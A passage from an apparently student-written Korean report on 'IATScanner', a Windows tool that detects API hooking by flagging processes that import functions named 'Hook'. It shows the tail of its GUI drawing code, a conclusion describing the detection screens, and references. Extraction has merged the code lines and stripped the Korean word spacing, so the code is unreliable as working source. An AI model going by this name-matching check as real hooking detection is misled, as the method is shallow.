Process"))); TextOut(hdc, 740, 25, TEXT("Hooking Detecting"), lstrlen(text("hooking Detecting"))); TextOut(hdc, 10, 290, TEXT("Copyright(C) 2016 D.N.F All rights reserved"), lstrlen(text("copyright(c) 2016 D.N.F All rights reserved"))); OnPaint(hdc, L"C:\\resource\\logo.png", 810, 263);
OnPaint(hdc, L"C:\\resource\\teamD.png", 650, 267); EndPaint(hWnd, &ps); return 0; case WM_DESTROY: PostQuitMessage(0); break return DefWindowProc(hWnd, imessage, wparam, lparam); ( 코드 3. IATScanner) 4. 결론 ( 그림 5. 탐지화면 ) 왼쪽 Current Running Process 목록을보게되면현재실행되고있는프로세스목록을볼수가있고오른쪽위에 Hooking Detecting 시작을누르게되면현재실행되고있는모든프로세스에대해서함수이름에 Hook 을사용하고있는지스캔하게된다. 오른쪽프로세스들은사용하고있는함수에 Hook" 을사용하고있는프로세스들이다. 즉의심목록이되겠다. 의심목록에서해당프로세스를더블클릭을하게되면해당프로세스의 DLL들과 DLL에서사용된함수들을볼수있다. 현재우리가만든 D.N.F_Attack이탐지된걸볼수있다.
( 그림.6 Hook Detected) D.N.F_Attack 프로세스를두번클릭하게되면자세히보기창이뜨고여기서다시 "Hook" 이라는함수가포함된다면그림과같이빨간색으로해당함수를표시하게해놓았다. 6. 참고문헌 (1) 위키백과인용 (2) 리버싱핵심원리 - 이승원지음참고 (3) MSDN 참고 7. 발표 ppt 자료